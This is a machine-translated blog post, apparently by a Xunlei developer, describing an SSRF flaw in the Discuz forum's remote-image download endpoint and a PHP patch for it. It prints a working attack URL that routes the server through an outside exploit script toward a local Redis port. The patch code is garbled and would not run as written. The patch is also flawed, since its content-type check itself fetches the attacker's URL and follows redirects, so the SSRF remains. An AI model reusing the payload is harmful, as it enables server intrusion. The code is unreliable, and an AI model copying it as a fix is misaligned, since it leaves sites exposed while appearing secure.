Thunder Official Forum (DISCUZ) by cloud platform detected a SSRF loophole, the attacker through ssrf successful rebound shell, the flaw exists in a remote picture download interface, did not valid for the validity of the URL detection. This loophole was temporarily resolved today and a record of the repair method was made.
The vulnerability has not yet been made public and is now accessible by password.
This vulnerable URL address is/forum.php?mod=ajax&action=downremoteimg&message=.
An attacker can request this address for a SSRF attack:
/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tv.phpinfo.me/exp.php?s=ftp%26ip= 127.0.0.1%26PORT=6379%26DATA=HELO.JPG[/IMG]
Here message contains the user in the forum posted picture address, normally is the picture format suffix, although the suffix was judged, but not strict, this address can be arbitrary script.
The solution is to increase the legitimacy of the interface to determine whether the true suffix of the URL is legitimate, even if legitimate, it may be forged through the URL rewrite, more stringent judgments through the curl request to obtain the header information, according to the return of the message head to determine whether the content-type legal.
As a result, add the following functions to the file/source/module/forum/forum_ajax.php file:
Php
Get Upload image URL list
function GetImageList ($temp)
{
$urlList = Array ();
foreach ($temp as $item) {
$urlList [] = $item [1];
}
return $urlList;
}
/**
* Check if Content-type is legal
* @param $imageList array picture URL list
* @return BOOL True valid false illegal
*/
function Checkcontenttype ($imageList)
{
$allowExtensions = array (' jpg ', ' jpeg ', ' png ', ' gif ', ' bmp ');
$allowTypes = Array (' Image/png ', ' image/x-png ', ' image/gif ', ' image/jpeg ', ' image/pjpeg ');
foreach ($imageList as $url) {
$extension = Geturlextension ($url);
if (!in_array (Strtolower ($extension), $allowExtensions)) {
return false;
}
$contentType = getContentType ($url);
if (!in_array ($contentType, $allowTypes)) {
return false;
}
}
return true;
}
Get Content-type
function getContentType ($url)
{
$ch = Curl_init ();
curl_setopt ($ch, Curlopt_url, $url);
curl_setopt ($ch, Curlopt_header, 1);
curl_setopt ($ch, Curlopt_returntransfer, 1);
curl_setopt ($ch, curlopt_followlocation, 1);
curl_setopt ($ch, curlopt_nobody, 1);
Curl_exec ($ch);
$contentType = Curl_getinfo ($ch, Curlinfo_content_type);
return $contentType;
}
Get URL suffix
function Geturlextension ($url)
{
$parseurl = Parse_url ($url);
$extension = PathInfo ($parseurl [' Path '], pathinfo_extension);
return $extension;
}
Add in where specific interface is processed:
Php
ElseIf ($_get[' action '] = = ' downremoteimg ') {
$_get[' message ' = Str_replace (Array ("\ r", "\ n"), Array ($_get[' WYSIWYG ')? ' <br/> ': ', ' \\n '), $_get[' message ']);
Preg_match_all ("/\[img\]\s*" ([^\[\<\r\n]+?) \s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s* ([^\[\<\r\n]+?) \s*\[\/img\]/is ", $_get[' message '], $image 1, Preg_set_order);
Preg_match_all ("/\/ismue ", $_get[' message '], $image 2, Preg_set_order);
$temp = $aids = $existentimg = Array ();
if (Is_array ($image 1) &&!empty ($image 1)) {
foreach ($image 1 as $value) {
$temp [] = Array (
' 0 ' => $value [0],
' 1 ' => trim (!empty ($value [1])? $value [1]: $value [2])
);
}
}
if (Is_array ($image 2) &&!empty ($image 2)) {
foreach ($image 2 as $value) {
$temp [] = Array (
' 0 ' => $value [0],
' 1 ' => trim ($value [2])
);
}
}
Detect whether the picture is legal Added by tanteng<tanteng@xunlei.com> 2016.07.07
if (Is_array ($temp) &&!empty ($temp)) {
$imageList = GetImageList ($temp);
$check = Checkcontenttype ($imageList);
if ($check = = False) {
Die (' File upload error! ');
}
}
The first is to determine whether the URL suffix is legitimate, and then through the curl request to determine whether the header Content-type legal, because the latter is not easy to forge. Among them Curl Judge file Content-type method:
Php
Get Content-type
function getContentType ($url)
{
$ch = Curl_init ();
curl_setopt ($ch, Curlopt_url, $url);
curl_setopt ($ch, Curlopt_header, 1);
curl_setopt ($ch, Curlopt_returntransfer, 1);
curl_setopt ($ch, curlopt_followlocation, 1);
curl_setopt ($ch, curlopt_nobody, 1);
Curl_exec ($ch);
$contentType = Curl_getinfo ($ch, Curlinfo_content_type);
return $contentType;
}
And then visit the cloud exposed to the vulnerability address, the direct suspension of the program.
However, there is a problem, some picture address is not a real static file, such as: http://image.demo.com/avatar/100/150*150, this path is a picture, although not the picture format of the static path, then this judgment will be misjudged, However, this situation is very small, for the moment.